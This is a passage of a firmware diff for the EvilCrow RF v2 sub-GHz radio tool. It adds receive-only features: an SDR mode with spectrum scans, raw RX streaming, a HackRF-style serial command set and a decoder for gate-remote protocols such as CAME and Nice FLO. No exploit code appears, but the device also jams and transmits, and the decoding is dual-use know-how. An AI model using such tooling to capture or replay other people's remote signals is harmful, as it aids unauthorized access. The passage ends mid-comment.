1000.0f); + sendSpectrumChunk(rssiBuffer, bufferIdx, startKhz, stepKhz, + chunkIndex, totalChunks); + + chunkIndex++; + chunkStartFreqMHz = config.startFreqMHz + (i + 1) * config.stepMHz; + bufferIdx = 0; + } + + // Yield to prevent WDT (spectrum scan can be slow) + if (i % 20 == 0) { + taskYIELD(); + } + } + + // Return to idle after scan + if (xSemaphoreTake(spiMutex, pdMS_TO_TICKS(100))) { + moduleCC1101State[sdrModule_].setSidle(); + xSemaphoreGive(spiMutex); + } + + subMode_ = SdrSubMode::Idle; + ESP_LOGI(TAG, "Spectrum scan complete: %d points", pointsScanned); + return pointsScanned; +} + +// ── Raw RX streaming ──────────────────────────────────────────────── + +bool SdrModule::startRawRx() { + if (!active_) { + ESP_LOGW(TAG, "Cannot start RX: SDR mode not active"); + return false; + } + + if (streaming_) { + ESP_LOGW(TAG, "Raw RX already streaming"); + return true; + } + + SemaphoreHandle_t spiMutex = ModuleCc1101::getSpiSemaphore(); + if (xSemaphoreTake(spiMutex, pdMS_TO_TICKS(100))) { + // Configure CC1101 for RX at current frequency + moduleCC1101State[sdrModule_].setReceiveConfig( + currentFreqMHz_, true, currentModulation_, + currentBandwidthKHz_, 1.58f, currentDataRate_); + moduleCC1101State[sdrModule_].initConfig(); + + // Enter RX mode + cc1101.setModul(sdrModule_); + cc1101.SetRx(currentFreqMHz_); + + xSemaphoreGive(spiMutex); + } else { + ESP_LOGE(TAG, "Failed to acquire SPI mutex for startRawRx"); + return false; + } + + streaming_ = true; + streamSeqNum_ = 0; + totalBytesStreamed_ = 0; + subMode_ = SdrSubMode::RawRx; + + ESP_LOGI(TAG, "Raw RX started at %.3f MHz, mod=%d, bw=%.0f kHz", + currentFreqMHz_, currentModulation_, currentBandwidthKHz_); + return true; +} + +void SdrModule::stopRawRx() { + if (!streaming_) return; + + streaming_ = false; + subMode_ = SdrSubMode::Idle; + + // Put CC1101 back to idle + SemaphoreHandle_t spiMutex = ModuleCc1101::getSpiSemaphore(); + if (xSemaphoreTake(spiMutex, pdMS_TO_TICKS(100))) { + moduleCC1101State[sdrModule_].setSidle(); + xSemaphoreGive(spiMutex); + } + + ESP_LOGI(TAG, "Raw RX stopped. Total bytes streamed: %u", totalBytesStreamed_); +} + +void SdrModule::pollRawRx() { + if (!streaming_) return; + + SemaphoreHandle_t spiMutex = ModuleCc1101::getSpiSemaphore(); + if (!xSemaphoreTake(spiMutex, pdMS_TO_TICKS(10))) { + return; // Don't block if SPI is busy + } + + // Check how many bytes are in the RX FIFO + cc1101.setModul(sdrModule_); + byte rxBytes = cc1101.SpiReadStatus(CC1101_RXBYTES) & 0x7F; + + if (rxBytes > 0) { + // Read up to 64 bytes from FIFO (CC1101 FIFO is 64 bytes) + uint8_t buffer[64]; + uint8_t toRead = (rxBytes > 64) ? 64 : rxBytes; + + // Read data from RX FIFO + cc1101.SpiReadBurstReg(CC1101_RXFIFO + 0xC0, buffer, toRead); + + xSemaphoreGive(spiMutex); + + // Send via serial (binary: raw bytes) + Serial.write(buffer, toRead); + + // Also send via BLE if clients connected + sendRawDataChunk(buffer, toRead); + + streamSeqNum_++; + totalBytesStreamed_ += toRead; + } else { + xSemaphoreGive(spiMutex); + } + + // Check for FIFO overflow and flush if needed + if (rxBytes & 0x80) { + if (xSemaphoreTake(spiMutex, pdMS_TO_TICKS(10))) { + cc1101.SpiStrobe(CC1101_SFRX); // Flush RX FIFO + cc1101.SetRx(currentFreqMHz_); // Re-enter RX + xSemaphoreGive(spiMutex); + ESP_LOGW(TAG, "RX FIFO overflow β€” flushed"); + } + } +} + +// ── Serial SDR command interface (HackRF-compatible) ──────────────── + +bool SdrModule::processSerialCommand(const String& command) { + String cmd = command; + cmd.trim(); + + // ── Bootstrap commands (work even when SDR is NOT active) ────── + + // sdr_enable β€” enable SDR mode via serial (no app/BLE needed) + if (cmd.equalsIgnoreCase("sdr_enable")) { + if (active_) { + Serial.println("HACKRF_SUCCESS"); + Serial.println("SDR mode already active"); + } else { + if (enable()) { + Serial.println("HACKRF_SUCCESS"); + Serial.println("SDR mode enabled via serial"); + } else { + Serial.println("HACKRF_ERROR"); + Serial.println("Failed to enable SDR mode (CC1101 may be busy)"); + } + } + return true; + } + + // sdr_disable β€” disable SDR mode via serial + if (cmd.equalsIgnoreCase("sdr_disable")) { + if (disable()) { + Serial.println("HACKRF_SUCCESS"); + Serial.println("SDR mode disabled"); + } else { + Serial.println("HACKRF_ERROR"); + } + return true; + } + + // sdr_info β€” show CC1101 SDR parameter limits (always available) + if (cmd.equalsIgnoreCase("sdr_info")) { + Serial.println("HACKRF_SUCCESS"); + Serial.println("=== EvilCrow RF v2 SDR β€” CC1101 Parameter Limits ==="); + Serial.println("Frequency bands:"); + Serial.println(" Band 1: 300.000 - 348.000 MHz"); + Serial.println(" Band 2: 387.000 - 464.000 MHz"); + Serial.println(" Band 3: 779.000 - 928.000 MHz"); + Serial.println("Modulation: 0=2FSK, 1=GFSK, 2=ASK/OOK, 3=4FSK, 4=MSK"); + Serial.println("Bandwidth (kHz): 58 68 81 102 116 135 162 203 232 270 325 406 464 541 650 812"); + Serial.println("Data rate: 0.6 - 500.0 kBaud (600 - 500000 Baud)"); + Serial.println("Gain: AGC controlled (not user-adjustable)"); + Serial.println("FIFO: 64 bytes RX / 64 bytes TX"); + Serial.printf("SDR Active: %s\n", active_ ? "YES" : "NO"); + Serial.printf("Current: %.3f MHz, mod=%d, bw=%.0f kHz, rate=%.2f kBaud\n", + currentFreqMHz_, currentModulation_, + currentBandwidthKHz_, currentDataRate_); + return true; + } + + // board_id_read β€” identify as EvilCrow SDR (works always) + if (cmd.equalsIgnoreCase("board_id_read")) { + Serial.println("HACKRF_SUCCESS"); + Serial.println("Board ID: EvilCrow_RF_v2_SDR"); + Serial.printf("Frequency: %.3f MHz\n", currentFreqMHz_); + Serial.printf("Module: %d\n", sdrModule_); + Serial.printf("SDR Active: %s\n", active_ ? "YES" : "NO"); + return true; + } + + // set_freq β€” set center frequency + if (cmd.startsWith("set_freq ")) { + uint64_t freqHz = strtoull(cmd.substring(9).c_str(), nullptr, 10); + float freqMHz = freqHz / 1000000.0f; + if (setFrequency(freqMHz)) { + Serial.println("HACKRF_SUCCESS"); + Serial.printf("Frequency: %.3f MHz\n", currentFreqMHz_); + } else { + Serial.println("HACKRF_ERROR"); + Serial.println("Invalid frequency (CC1101 range: 300-348, 387-464, 779-928 MHz)"); + } + return true; + } + + // set_sample_rate β€” maps to CC1101 data rate + if (cmd.startsWith("set_sample_rate ")) { + uint32_t rate = cmd.substring(16).toInt(); + // CC1101 data rate range: 0.6–500 kBaud + float kBaud = rate / 1000.0f; + if (kBaud >= 0.6f && kBaud <= 500.0f) { + setDataRate(kBaud); + Serial.println("HACKRF_SUCCESS"); + Serial.printf("Data rate: %.2f kBaud\n", kBaud); + } else { + Serial.println("HACKRF_ERROR"); + Serial.println("Rate out of range (600 - 500000 Baud)"); + } + return true; + } + + // set_gain β€” maps to CC1101 LNA setting (limited) + if (cmd.startsWith("set_gain ")) { + int gain = cmd.substring(9).toInt(); + // CC1101 gain is controlled via AGC, not directly settable as dB + // We acknowledge the command for compatibility but log a note + ESP_LOGI(TAG, "Gain set request: %d dB (CC1101 uses AGC, limited control)", gain); + Serial.println("HACKRF_SUCCESS"); + Serial.printf("Gain: %d dB (CC1101 AGC mode)\n", gain); + return true; + } + + // set_bandwidth β€” set RX bandwidth + if (cmd.startsWith("set_bandwidth ")) { + float bw = cmd.substring(14).toFloat(); + if (setBandwidth(bw)) { + Serial.println("HACKRF_SUCCESS"); + Serial.printf("Bandwidth: %.1f kHz\n", bw); + } else { + Serial.println("HACKRF_ERROR"); + } + return true; + } + + // set_modulation β€” 0=2FSK, 2=ASK/OOK + if (cmd.startsWith("set_modulation ")) { + int mod = cmd.substring(15).toInt(); + if (setModulation(mod)) { + Serial.println("HACKRF_SUCCESS"); + Serial.printf("Modulation: %d\n", mod); + } else { + Serial.println("HACKRF_ERROR"); + } + return true; + } + + // rx_start β€” start raw RX streaming via serial + if (cmd.equalsIgnoreCase("rx_start")) { + if (startRawRx()) { + Serial.println("HACKRF_SUCCESS"); + Serial.println("RX streaming started"); + } else { + Serial.println("HACKRF_ERROR"); + } + return true; + } + + // rx_stop β€” stop raw RX streaming + if (cmd.equalsIgnoreCase("rx_stop")) { + stopRawRx(); + Serial.println("HACKRF_SUCCESS"); + Serial.println("RX streaming stopped"); + return true; + } + + // spectrum_scan [start_mhz] [end_mhz] [step_khz] + if (cmd.startsWith("spectrum_scan")) { + SpectrumScanConfig scanCfg; + // Parse optional parameters + int firstSpace = cmd.indexOf(' '); + if (firstSpace > 0) { + String params = cmd.substring(firstSpace + 1); + int p1 = params.indexOf(' '); + if (p1 > 0) { + scanCfg.startFreqMHz = params.substring(0, p1).toFloat(); + int p2 = params.indexOf(' ', p1 + 1); + if (p2 > 0) { + scanCfg.endFreqMHz = params.substring(p1 + 1, p2).toFloat(); + scanCfg.stepMHz = params.substring(p2 + 1).toFloat() / 1000.0f; + } else { + scanCfg.endFreqMHz = params.substring(p1 + 1).toFloat(); + } + } else { + scanCfg.startFreqMHz = params.toFloat(); + } + } + Serial.println("HACKRF_SUCCESS"); + Serial.printf("Scanning %.2f - %.2f MHz (step %.3f MHz)...\n", + scanCfg.startFreqMHz, scanCfg.endFreqMHz, scanCfg.stepMHz); + int points = spectrumScan(scanCfg); + Serial.printf("Scan complete: %d points\n", points); + return true; + } + + // sdr_status β€” get current status + if (cmd.equalsIgnoreCase("sdr_status")) { + Serial.println("HACKRF_SUCCESS"); + Serial.printf("Active: %s\n", active_ ? "YES" : "NO"); + Serial.printf("Mode: %d\n", (int)subMode_); + Serial.printf("Frequency: %.3f MHz\n", currentFreqMHz_); + Serial.printf("Modulation: %d\n", currentModulation_); + Serial.printf("Bandwidth: %.1f kHz\n", currentBandwidthKHz_); + Serial.printf("Streaming: %s\n", streaming_ ? "YES" : "NO"); + Serial.printf("Bytes streamed: %u\n", totalBytesStreamed_); + return true; + } + + // help β€” list available commands + if (cmd.equalsIgnoreCase("help") || cmd.equalsIgnoreCase("?")) { + Serial.println("EvilCrow RF v2 SDR Commands:"); + Serial.println(" sdr_enable β€” Enable SDR mode (no app needed)"); + Serial.println(" sdr_disable β€” Disable SDR mode"); + Serial.println(" sdr_info β€” Show CC1101 parameter limits"); + Serial.println(" board_id_read β€” Device info"); + Serial.println(" set_freq β€” Set frequency"); + Serial.println(" set_sample_rate β€” Set data rate"); + Serial.println(" set_gain β€” Set gain (AGC)"); + Serial.println(" set_bandwidth β€” Set RX bandwidth"); + Serial.println(" set_modulation β€” 0=2FSK, 2=ASK/OOK"); + Serial.println(" rx_start β€” Start RX streaming"); + Serial.println(" rx_stop β€” Stop RX streaming"); + Serial.println(" spectrum_scan [s] [e] [st] β€” Scan spectrum (MHz)"); + Serial.println(" sdr_status β€” Show status"); + Serial.println(" help β€” This help"); + return true; + } + + return false; // Command not recognized +} + +// ── BLE notification helpers ──────────────────────────────────────── + +void SdrModule::sendStatus() { + BinarySdrStatus msg; + msg.active = active_ ? 1 : 0; + msg.module = (uint8_t)sdrModule_; + msg.freq_khz = (uint32_t)(currentFreqMHz_ * 1000.0f); + msg.modulation = (uint8_t)currentModulation_; + + ClientsManager::getInstance().notifyAllBinary( + NotificationType::SdrEvent, + reinterpret_cast(&msg), + sizeof(msg)); +} + +void SdrModule::sendSpectrumChunk(const int8_t* rssiValues, uint8_t count, + uint32_t startFreqKhz, uint16_t stepKhz, + uint8_t chunkIndex, uint8_t totalChunks) { + // Build packet: header + RSSI data + uint8_t packet[sizeof(BinarySdrSpectrumHeader) + 60]; + + BinarySdrSpectrumHeader* hdr = reinterpret_cast(packet); + hdr->messageType = MSG_SDR_SPECTRUM_DATA; + hdr->chunkIndex = chunkIndex; + hdr->totalChunks = totalChunks; + hdr->pointsInChunk = count; + hdr->startFreq_khz = startFreqKhz; + hdr->stepSize_khz = stepKhz; + + // Copy RSSI values after header + memcpy(packet + sizeof(BinarySdrSpectrumHeader), rssiValues, count); + + size_t totalLen = sizeof(BinarySdrSpectrumHeader) + count; + + ClientsManager::getInstance().notifyAllBinary( + NotificationType::SdrEvent, + packet, totalLen); +} + +void SdrModule::sendRawDataChunk(const uint8_t* data, uint8_t len) { + uint8_t packet[sizeof(BinarySdrRawDataHeader) + 64]; + + BinarySdrRawDataHeader* hdr = reinterpret_cast(packet); + hdr->messageType = MSG_SDR_RAW_DATA; + hdr->seqNum = (uint16_t)(streamSeqNum_ & 0xFFFF); + hdr->dataLen = len; + + memcpy(packet + sizeof(BinarySdrRawDataHeader), data, len); + + size_t totalLen = sizeof(BinarySdrRawDataHeader) + len; + + ClientsManager::getInstance().notifyAllBinary( + NotificationType::SdrEvent, + packet, totalLen); +} + +#endif // SDR_MODULE_ENABLED diff --git a/src/modules/sdr/SdrModule.h b/src/modules/sdr/SdrModule.h new file mode 100644 index 0000000..aa81a6f --- /dev/null +++ b/src/modules/sdr/SdrModule.h @@ -0,0 +1,225 @@ +/** + * @file SdrModule.h + * @brief Software Defined Radio mode for EvilCrow-RF-V2. + * + * Provides SDR-like functionality using the CC1101 transceiver: + * - Spectrum scanning (frequency sweep with RSSI readings) + * - Raw RX streaming (demodulated bytes from CC1101 FIFO) + * - Signal scanner (detect active frequencies above threshold) + * - HackRF-compatible serial command interface for PC tools + * + * IMPORTANT: The CC1101 is NOT a true SDR β€” it is a digital transceiver + * with built-in modulation/demodulation. This module provides the closest + * SDR-like experience possible: + * - Spectrum data is real RSSI measurements at each frequency step + * - Raw RX data is demodulated bytes from the CC1101 FIFO, not raw IQ + * - Pseudo-IQ can be constructed from RSSI + FREQEST registers + * + * When SDR mode is active, other CC1101 operations (record, transmit, + * detect, jam) are blocked to prevent hardware conflicts. + * + * Interfaces: + * - BLE: Binary commands from app (0x50-0x59) + * - Serial: Text commands from PC tools (HackRF-compatible) + */ + +#ifndef SDR_MODULE_H +#define SDR_MODULE_H + +#include +#include "config.h" + +#if SDR_MODULE_ENABLED + +#include "BinaryMessages.h" +#include "core/ble/ClientsManager.h" +#include "modules/CC1101_driver/CC1101_Module.h" +#include "esp_log.h" + +/** + * SDR operating sub-mode within SDR mode. + */ +enum class SdrSubMode : uint8_t { + Idle = 0, // SDR mode on, but not actively scanning/streaming + SpectrumScan = 1, // Sweeping frequencies, reading RSSI + RawRx = 2, // Streaming demodulated bytes from FIFO + SignalScanner = 3 // Scanning for active frequencies above threshold +}; + +/** + * Spectrum scan configuration. + */ +struct SpectrumScanConfig { + float startFreqMHz = 300.0f; // Start frequency in MHz + float endFreqMHz = 928.0f; // End frequency in MHz + float stepMHz = 0.1f; // Step size in MHz (default SDR_SPECTRUM_STEP_KHZ / 1000) + int8_t rssiThreshold = -90; // Minimum RSSI to report (dBm), for signal scanner +}; + +/** + * SDR module state (read-only snapshot for status queries). + */ +struct SdrState { + bool active; // True if SDR mode is enabled + SdrSubMode subMode; // Current sub-mode + int module; // CC1101 module index in use + float centerFreqMHz; // Current center frequency + int modulation; // Current modulation type + uint32_t samplesStreamed; // Total raw bytes streamed in current session +}; + +class SdrModule { +public: + /** + * Initialize SDR module (call once from setup). + * Does NOT activate SDR mode β€” just prepares internal state. + */ + static void init(); + + // ── SDR mode lifecycle ────────────────────────────────────────── + + /** + * Enable SDR mode. Puts the assigned CC1101 module in IDLE and + * blocks other CC1101 operations. + * @param module CC1101 module index (0 or 1). Default: SDR_DEFAULT_MODULE. + * @return true if successfully enabled. + */ + static bool enable(int module = SDR_DEFAULT_MODULE); + + /** + * Disable SDR mode. Restores the CC1101 module to normal operation. + * @return true if successfully disabled. + */ + static bool disable(); + + /** @return true if SDR mode is currently active. */ + static bool isActive() { return active_; } + + /** @return Current state snapshot. */ + static SdrState getState(); + + // ── Frequency and configuration ───────────────────────────────── + + /** + * Set center frequency for RX/spectrum operations. + * @param freqMHz Frequency in MHz (valid range: 300–928 MHz). + * @return true if frequency is valid and applied. + */ + static bool setFrequency(float freqMHz); + + /** + * Set modulation type. + * @param mod Modulation constant (MODULATION_ASK_OOK, MODULATION_2_FSK, etc.) + * @return true if applied. + */ + static bool setModulation(int mod); + + /** + * Set RX bandwidth. + * @param bwKHz Bandwidth in kHz. + * @return true if applied. + */ + static bool setBandwidth(float bwKHz); + + /** + * Set data rate. + * @param rate Data rate in kBaud. + * @return true if applied. + */ + static bool setDataRate(float rate); + + // ── Spectrum scan ─────────────────────────────────────────────── + + /** + * Start a spectrum scan. Sweeps from startFreq to endFreq reading RSSI. + * Results are sent via BLE as MSG_SDR_SPECTRUM_DATA chunks. + * This is a blocking operation (runs on the calling task). + * @param config Scan configuration. + * @return Number of frequency points scanned. + */ + static int spectrumScan(const SpectrumScanConfig& config); + + // ── Raw RX streaming ──────────────────────────────────────────── + + /** + * Start raw RX streaming via serial. CC1101 FIFO bytes are read + * and sent over serial in binary format. + * @return true if started successfully. + */ + static bool startRawRx(); + + /** Stop raw RX streaming. */ + static void stopRawRx(); + + /** @return true if raw RX streaming is active. */ + static bool isStreaming() { return streaming_; } + + /** + * Poll for raw RX data. Call from a loop/task while streaming. + * Reads FIFO and sends data via serial (and optionally BLE). + */ + static void pollRawRx(); + + // ── Serial SDR command interface ──────────────────────────────── + + /** + * Process a text command received over serial (HackRF-compatible). + * @param command The command string (without newline). + * @return true if command was recognized and handled. + */ + static bool processSerialCommand(const String& command); + + // ── BLE notification helpers ──────────────────────────────────── + + /** Send current SDR status via BLE (MSG_SDR_STATUS). */ + static void sendStatus(); + + /** @return The CC1101 module index assigned to SDR. */ + static int getModule() { return sdrModule_; } + +private: + static bool active_; + static bool streaming_; + static bool initialized_; + static int sdrModule_; // CC1101 module index (0 or 1) + static float currentFreqMHz_; + static int currentModulation_; + static float currentBandwidthKHz_; + static float currentDataRate_; + static uint32_t streamSeqNum_; // Sequence number for raw RX packets + static uint32_t totalBytesStreamed_; + static SdrSubMode subMode_; + + /** + * Read RSSI at the current frequency. + * Puts CC1101 in RX, waits for RSSI to settle, reads register. + * @return RSSI in dBm. + */ + static int readRssi(); + + /** + * Send spectrum scan results chunk via BLE. + * @param rssiValues Array of RSSI readings. + * @param count Number of readings. + * @param startFreqKhz Start frequency of this chunk in kHz. + * @param stepKhz Step size in kHz. + * @param chunkIndex Current chunk index. + * @param totalChunks Total number of chunks. + */ + static void sendSpectrumChunk(const int8_t* rssiValues, uint8_t count, + uint32_t startFreqKhz, uint16_t stepKhz, + uint8_t chunkIndex, uint8_t totalChunks); + + /** + * Send raw RX data chunk via BLE. + * @param data Raw bytes from CC1101 FIFO. + * @param len Number of bytes. + */ + static void sendRawDataChunk(const uint8_t* data, uint8_t len); + + /// Validate frequency is within CC1101 supported range. + static bool isValidFrequency(float freqMHz); +}; + +#endif // SDR_MODULE_ENABLED +#endif // SDR_MODULE_H diff --git a/src/modules/subghz_function/FrequencyAnalyzer.cpp b/src/modules/subghz_function/FrequencyAnalyzer.cpp new file mode 100644 index 0000000..ef67c25 --- /dev/null +++ b/src/modules/subghz_function/FrequencyAnalyzer.cpp @@ -0,0 +1,132 @@ +#include "FrequencyAnalyzer.h" +#include "esp_log.h" + +static const char* TAG = "FrequencyAnalyzer"; + +extern ModuleCc1101 moduleCC1101State[CC1101_NUM_MODULES]; + +FrequencyAnalyzer frequencyAnalyzer; + +FrequencyAnalyzer::FrequencyAnalyzer() + : active(false) + , currentModule(0) + , startFreq(0.0f) + , endFreq(0.0f) + , step(0.0f) + , currentFreq(0.0f) + , dwellTime(50) + , lastScanTime(0) + , scanStartTime(0) { +} + +void FrequencyAnalyzer::startScan(int module, float startFreq, float endFreq, float step, uint32_t dwellTime) { + if (module < 0 || module >= CC1101_NUM_MODULES) { + ESP_LOGE(TAG, "Invalid module: %d", module); + return; + } + + if (startFreq >= endFreq || step <= 0) { + ESP_LOGE(TAG, "Invalid frequency range: %.2f - %.2f, step %.2f", startFreq, endFreq, step); + return; + } + + this->active = true; + this->currentModule = module; + this->startFreq = startFreq; + this->endFreq = endFreq; + this->step = step; + this->currentFreq = startFreq; + this->dwellTime = dwellTime > 0 ? dwellTime : 50; + this->lastScanTime = millis(); + this->scanStartTime = millis(); + + spectrum.clear(); + spectrum.reserve(static_cast((endFreq - startFreq) / step) + 1); + + ESP_LOGI(TAG, "Starting frequency scan on module %d: %.2f - %.2f MHz, step %.2f MHz, dwell %u ms", + module, startFreq, endFreq, step, dwellTime); + + // Initialize CC1101 for scanning + moduleCC1101State[module].changeFrequency(currentFreq); +} + +void FrequencyAnalyzer::stopScan() { + if (!active) { + return; + } + + ESP_LOGI(TAG, "Stopping frequency scan. Collected %zu points", spectrum.size()); + + active = false; + + // Return module to idle + moduleCC1101State[currentModule].setSidle(); +} + +void FrequencyAnalyzer::process() { + if (!active) { + return; + } + + uint32_t now = millis(); + + // Check if we should scan current frequency + if ((now - lastScanTime) >= dwellTime) { + scanCurrentFrequency(); + lastScanTime = now; + + // Move to next frequency + currentFreq += step; + + if (currentFreq > endFreq) { + // Scan complete + ESP_LOGI(TAG, "Frequency scan complete: %zu points collected", spectrum.size()); + stopScan(); + return; + } + + // Change to next frequency + moduleCC1101State[currentModule].changeFrequency(currentFreq); + + // Small delay for frequency settling + vTaskDelay(pdMS_TO_TICKS(1)); + } +} + +void FrequencyAnalyzer::scanCurrentFrequency() { + FrequencyPoint point; + point.frequency = currentFreq; + point.rssi = static_cast(moduleCC1101State[currentModule].getRssi()); + point.lqi = moduleCC1101State[currentModule].getLqi(); + point.timestamp = millis() - scanStartTime; + + spectrum.push_back(point); + + ESP_LOGD(TAG, "Scan point: %.2f MHz, RSSI=%d, LQI=%u", + point.frequency, point.rssi, point.lqi); +} + +void FrequencyAnalyzer::clearSpectrum() { + spectrum.clear(); +} + +bool FrequencyAnalyzer::findPeak(float& freq, int8_t& rssi) const { + if (spectrum.empty()) { + return false; + } + + const FrequencyPoint* peak = &spectrum[0]; + + for (const auto& point : spectrum) { + if (point.rssi > peak->rssi) { + peak = &point; + } + } + + freq = peak->frequency; + rssi = peak->rssi; + + return true; +} + + diff --git a/src/modules/subghz_function/FrequencyAnalyzer.h b/src/modules/subghz_function/FrequencyAnalyzer.h new file mode 100644 index 0000000..98383dc --- /dev/null +++ b/src/modules/subghz_function/FrequencyAnalyzer.h @@ -0,0 +1,85 @@ +#ifndef FREQUENCY_ANALYZER_H +#define FREQUENCY_ANALYZER_H + +#include +#include +#include +#include "config.h" +#include "modules/CC1101_driver/CC1101_Module.h" + +/** + * Frequency analyzer / spectrum scanner + * Scans frequency range and collects RSSI data for visualization + */ +struct FrequencyPoint { + float frequency; + int8_t rssi; + uint8_t lqi; // Link Quality Indicator + uint32_t timestamp; // ms since start of scan +}; + +class FrequencyAnalyzer { +public: + FrequencyAnalyzer(); + + /** + * Start spectrum scan + * @param module CC1101 module to use + * @param startFreq Start frequency in MHz + * @param endFreq End frequency in MHz + * @param step Step size in MHz + * @param dwellTime Time to spend on each frequency in ms + */ + void startScan(int module, float startFreq, float endFreq, float step, uint32_t dwellTime = 50); + + /** + * Stop scan + */ + void stopScan(); + + /** + * Process scan (call periodically from worker loop) + */ + void process(); + + /** + * Check if scan is active + */ + bool isActive() const { return active; } + + /** + * Get current spectrum data + */ + std::vector getSpectrum() const { return spectrum; } + + /** + * Clear spectrum data + */ + void clearSpectrum(); + + /** + * Find peak frequency (highest RSSI) + */ + bool findPeak(float& freq, int8_t& rssi) const; + +private: + bool active; + int currentModule; + float startFreq; + float endFreq; + float step; + float currentFreq; + uint32_t dwellTime; + uint32_t lastScanTime; + uint32_t scanStartTime; + + std::vector spectrum; + + void scanCurrentFrequency(); +}; + +extern FrequencyAnalyzer frequencyAnalyzer; + +#endif // FREQUENCY_ANALYZER_H + + diff --git a/src/modules/subghz_function/ProtocolDecoder.cpp b/src/modules/subghz_function/ProtocolDecoder.cpp new file mode 100644 index 0000000..5dd6109 --- /dev/null +++ b/src/modules/subghz_function/ProtocolDecoder.cpp @@ -0,0 +1,202 @@ +#include "ProtocolDecoder.h" +#include "SubGhzProtocol.h" +#include "esp_log.h" + +static const char* TAG = "ProtocolDecoder"; + +// Minimum samples required for decoding +static constexpr size_t MIN_SAMPLES_FOR_DECODE = 10; + +// Maximum samples to analyze (for performance) +static constexpr size_t MAX_SAMPLES_FOR_DECODE = 5000; + +// Protocols to try in order (most common first) +static const char* PROTOCOL_ORDER[] = { + "RAW", // Fallback - always works + "Princeton", + "BinRAW", + "CAME", + "Nice FLO", + "Gate TX", + "Holtek", +}; + +static constexpr size_t PROTOCOL_ORDER_SIZE = sizeof(PROTOCOL_ORDER) / sizeof(PROTOCOL_ORDER[0]); + +std::vector> ProtocolDecoder::samplesToPulses( + const std::vector& samples) { + + std::vector> pulses; + + if (samples.empty()) { + return pulses; + } + + // Estimate capacity to avoid reallocations + pulses.reserve(samples.size()); + + // Convert alternating samples to pulse data + // Sample format: positive = high duration, next = low duration (or vice versa) + // We need to detect the pattern + + bool currentLevel = true; // Assume starting with high + for (size_t i = 0; i < samples.size(); i++) { + uint32_t duration = static_cast(samples[i]); + + // Filter out noise (very short pulses) + if (duration < 50) { // Less than 50us is likely noise + continue; + } + + // Cap duration to prevent overflow + if (duration > 100000) { // Max 100ms pulse + duration = 100000; + } + + pulses.emplace_back(duration, currentLevel); + currentLevel = !currentLevel; + } + + return pulses; +} + +void ProtocolDecoder::analyzeSignal(const std::vector& samples, + DecodedSignal& result) { + if (samples.empty()) { + return; + } + + // Calculate average pulse duration (estimate of TE) + uint64_t totalDuration = 0; + size_t count = 0; + + // Limit analysis to first part for performance + size_t analyzeCount = samples.size() < MAX_SAMPLES_FOR_DECODE ? samples.size() : MAX_SAMPLES_FOR_DECODE; + + for (size_t i = 0; i < analyzeCount; i++) { + if (samples[i] > 50 && samples[i] < 100000) { // Filter noise and outliers + totalDuration += samples[i]; + count++; + } + } + + if (count > 0) { + result.te = static_cast(totalDuration / count); + } + + // Estimate bit count (rough approximation) + if (result.te > 0) { + uint64_t totalTime = 0; + for (size_t i = 0; i < analyzeCount && i < 1000; i++) { // Analyze first 1000 samples + totalTime += samples[i]; + } + result.bitCount = static_cast(totalTime / (result.te * 2)); // Approximate: 2 pulses per bit + } +} + +bool ProtocolDecoder::tryProtocol(const std::string& protocolName, + const std::vector>& pulses, + DecodedSignal& result) { + + // Create protocol instance + std::unique_ptr protocol(SubGhzProtocol::create(protocolName)); + + if (!protocol) { + // Protocol not available + return false; + } + + // For RAW protocol, it always succeeds (fallback) + if (protocolName == "RAW") { + result.protocol = "RAW"; + result.bitCount = pulses.size(); + return true; + } + + // For other protocols, we would need to: + // 1. Create a temporary .sub file in memory + // 2. Write pulse data in RAW format + // 3. Parse it with the protocol + // + // However, this is complex. Instead, for now we'll do a simpler approach: + // - Try to estimate if samples match protocol characteristics + // - For protocols that support it, directly decode from pulses + + // Basic validation: check if we have enough pulses + if (pulses.size() < MIN_SAMPLES_FOR_DECODE) { + return false; + } + + // For Princeton and similar protocols, we can try pattern matching + // This is a simplified version - full implementation would require + // protocol-specific decoders + + // For now, only RAW is guaranteed to work + // Other protocols require file-based parsing (existing SubFileParser) + + return false; +} + +bool ProtocolDecoder::decode(const std::vector& samples, + float frequency, + int rssi, + DecodedSignal& result) { + + // Initialize result + result = DecodedSignal(); + result.frequency = frequency; + result.rssi = rssi; + + // Check minimum requirements + if (samples.empty() || samples.size() < MIN_SAMPLES_FOR_DECODE) { + ESP_LOGD(TAG, "Not enough samples for decoding: %zu", samples.size()); + return false; + } + + ESP_LOGD(TAG, "Attempting to decode %zu samples at %.2f MHz, RSSI=%d", + samples.size(), frequency, rssi); + + // Analyze signal to extract basic parameters + analyzeSignal(samples, result); + + // Convert samples to pulse format + std::vector> pulses = samplesToPulses(samples); + + if (pulses.empty()) { + ESP_LOGD(TAG, "No valid pulses extracted from samples"); + return false; + } + + ESP_LOGD(TAG, "Extracted %zu pulses, TEβ‰ˆ%u us", pulses.size(), result.te); + + // Try protocols in order + for (size_t i = 0; i < PROTOCOL_ORDER_SIZE; i++) { + const char* protocolName = PROTOCOL_ORDER[i]; + + ESP_LOGD(TAG, "Trying protocol: %s", protocolName); + + DecodedSignal candidate; + candidate.frequency = frequency; + candidate.rssi = rssi; + + if (tryProtocol(protocolName, pulses, candidate)) { + // Success! + result = candidate; + result.repeat = candidate.repeat > 0 ? candidate.repeat : 1; + + ESP_LOGI(TAG, "Decoded as %s: %zu bits, TE=%u us, repeat=%u", + result.protocol.c_str(), result.bitCount, result.te, result.repeat); + + return true; + } + } + + // No protocol matched - return as RAW + result.protocol = "RAW"; + result.bitCount = pulses.size(); + result.repeat = 1; + + ESP_LOGD(TAG, "No specific protocol matched, treating as RAW"); + return true; // RAW is always valid +} + diff --git a/src/modules/subghz_function/ProtocolDecoder.h b/src/modules/subghz_function/ProtocolDecoder.h new file mode 100644 index 0000000..db435dc --- /dev/null +++ b/src/modules/subghz_function/ProtocolDecoder.h @@ -0,0 +1,71 @@ +#ifndef PROTOCOL_DECODER_H +#define PROTOCOL_DECODER_H + +#include +#include +#include +#include +#include "SubGhzProtocol.h" + +/** + * Real-time protocol decoder for SubGHz signals + * Attempts to decode RAW samples into known protocols + */ +class ProtocolDecoder { +public: + struct DecodedSignal { + std::string protocol; + uint64_t data = 0; + uint32_t bitCount = 0; + uint32_t te = 0; // Timing element (microseconds) + int rssi = 0; + float frequency = 0.0f; + uint32_t repeat = 1; + + // Additional protocol-specific data + std::string key; // Hex string representation + + bool isValid() const { + return !protocol.empty() && bitCount > 0; + } + }; + + /** + * Attempt to decode RAW pulse samples into a known protocol + * @param samples Vector of pulse durations in microseconds (positive = high, negative = low) + * @param frequency Frequency in MHz + * @param rssi RSSI value + * 